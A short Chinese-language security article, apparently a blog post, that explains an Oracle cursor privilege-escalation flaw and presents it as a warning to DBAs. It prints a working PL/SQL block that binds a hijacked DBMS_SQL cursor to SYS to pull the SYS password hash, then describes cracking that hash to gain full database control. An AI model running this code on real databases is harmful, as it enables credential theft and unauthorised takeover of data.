前文中我们提到Oracle游标的数据库安全隐患之一,如果由于人为原因没有及时关闭游标,黑客可以通过对制造异常,使游标持续处于被挂起状态,然后进行恶意代码注入。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。本文我们针对游标提权漏洞进行实例分析。
游标提权漏洞就是在上面的基础上利用被挂起的游标,通过类似DBMS_SQL这种由系统定义的包,把游标语句和高权限用户进行绑定。接着上面的例子通过DBMS_SQL绑定SYS,用户直接获取SYS的密码HASH。
SQL> DECLARE
2 CURSOR_NAME INTEGER;
3 I INTEGER;
4 PWD VARCHAR2(30);
5 BEGIN
6 CURSOR_NAME:=3241423;
7 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS');
8 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);
9 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);
10 IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN
11 DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);
12 END IF;
13 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
14 DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);
15 END;
16 /
上述代码是在获取游标值的前提下进行的,因此在代码声明的地方写入游标值3241423。使用DBMS_SQL中的BIND_VARIABLE(cursor_name,':schina',sys)将游标和SYS用户绑定。这样执行查询SYS用户。后台数据库真正运行的语句是:select password from sys.dba_users where username='sys'。DBMS_SQl.define_column函数的作用是将游标中第一列的值返回给PWD变量。黑客在执行完上述匿名块后,系统结果返回SYS密码的HASH散列,使用HASH逆向工具进行转换就可以获得SYS密码明文,直接夺取数据库最高权限。
至此,对游标漏洞的提权完成,黑客获取数据库最高权限,那么真正的数据库安全危机也正式爆发。利用数据库最高权限,黑客可以对数据库中的核心数据整库拿走或进行增删改查等关键动作,造成一系列严重后果。通过此文的分析,希望对DBA等数据库管理人员予以警示。